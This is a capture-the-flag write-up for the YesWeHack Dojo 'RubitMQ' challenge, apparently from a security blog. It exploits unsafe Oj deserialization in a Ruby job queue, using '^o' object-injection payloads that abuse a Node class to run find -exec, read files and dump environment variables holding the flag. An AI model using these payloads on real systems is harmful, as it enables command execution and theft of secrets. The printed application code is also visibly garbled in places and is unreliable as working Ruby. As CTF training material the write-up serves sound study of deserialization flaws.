YesWeHack Dojo – RubitMQ CTF

Initial Ruby Application Code:

require "active_record"
require "securerandom"
require "sqlite3"
require "open3"
require "erb"
require "uri"
require "oj"

Dir.chdir('/tmp/app')

# Database setup
ActiveRecord::Schema.verbose = false
ActiveRecord::Base.establish_connection(
  adapter: "sqlite3",
  database: ":memory:"
)
ActiveRecord::Base.connection.disable_query_cache!
  ActiveRecord::Schema.define do
    unless ActiveRecord::Base.connection.table_exists ? (: jobs)
  create_table: jobs do | t |
    t.string: uuid, null: false,
    default: SecureRandom.uuid
  t.string: status, null: false,
  default: "queued"
t.text: payload, null: false
t.timestamps
end
end
end

class Job < ActiveRecord::Base
end

# Clean up old jobs(
  if any)
Job.delete_all

class RubitMQ
def initialize(data)
@data = data
end

def run
if @data.respond_to ? (: run_find)
@data.run_find
end
end
end

class JobRunner
def self.run
Job.where(status: "queued").find_each do | job |
    data = Oj.load(job.payload)

  RubitMQ.new(data).run()

job.update!(status: "done")
end
end
end

class Node
def initialize(args = [])
@args = args
end

def run_find()
puts Open3.capture3("find", * @args)
end
end

payload = URI.decode_www_form_component("")

# Add the job to the local database
job = Job.create!(status: "queued", payload: payload)

ActiveRecord::Base.uncached do
    JobRunner.run
  end

# Render the given page
for our web application
puts ERB.new(IO.read("views/index.html")).result_with_hash({
  job_name: job.uuid
})

The application processes user-supplied data by storing it as a job payload and deserializing it using the Ruby Oj library:

data = Oj.load(job.payload)

The deserialized object is then passed into a message handler which conditionally executes a method:

RubitMQ.new(data).run

The Oj library supports object deserialization when special keys such as ^o are present in JSON input. Because user input is directly passed to Oj.load without validation or restrictions.

By analyzing the code, I found the following class

class Node
  def initialize(args=[])
    @args = args
  end

  def run_find()
    puts Open3.capture3("find", *@args)
  end
end

If a deserialized object responds to run_find, it will be executed automatically.

Using Oj’s object creation feature, I crafted the following payload:

{ 
   "^o": "Node", 
   "args": ["/", "-type", "f", "-size", "-5k", "-exec", "cat", "{}", ";"]
}

This caused the application to execute:

find / -type f -size -5k -exec cat {} ;

Response:

#!/bin/sh
CHROOT="/tmp/chroot"
create_chroot() {
  if [ ! -d "$CHROOT" ]; then
    mkdir -p "$CHROOT/bin"
[...]

The output showed scripts related to a chroot jail, indicating the application was running in a restricted filesystem.

I used the following payload to list files under /app:

{
   "^o":"Node",
   "args":["/app","-type","f","-maxdepth","3"]
}

Response:

/app/index.js
/app/runner.sh
/app/supervisord.pid
/app/chroot-me
/app/supervisord.log
/app/package.json

This revealed several application files, including a startup script:

/app/runner.sh

See inside files

{
   "^o":"Node",
   "args":["/app/runner.sh","-exec","cat","{}",";"]
}

Response:

#!/bin/ash

SETUP_CODE=$(printf %s "${DOJO_OPTS}" | jq .setup -r)
INIT=$(
  cat <<'EOF'
require 'json'

def popenv(name)
    value = ENV[name]
    ENV.delete(name)
    return value
end

flag = popenv("DOJO_FLAG")
secrets = JSON.parse(popenv("DOJO_SECRETS"))
EOF
)

CODE=$(
  cat <<EOF
$INIT

$SETUP_CODE

$DOJO_CODE
EOF
)
printf %s "${CODE}" | ruby
pid 7542 exit 0

The contents of runner.sh showed the following critical code:

flag = popenv("DOJO_FLAG")

This indicated that the flag was stored in an environment variable and not on disk.

Using the ability to execute arbitrary commands via find -exec, I executed:

{
   "^o":"Node",
   "args":["/","-maxdepth","0","-exec","env",";"]
}

This printed the environment variables containing the flag.

FLAG=FLAG{Th4t_J0b_D1d_N07_Go_A5_Exp3ct3d}

About The Author

Leave a Reply

Your email address will not be published. Required fields are marked *

Recent Posts

Social Media

Advertisement

Tags

API Bug Bounty Capture The Flag Command Injection Cross-site Scripting CTF ExifTool HTML JavaScript Markdown Open Redirection PHP SQL Injection VDP WAF Web Application Firewall XSS XSSR XSSRush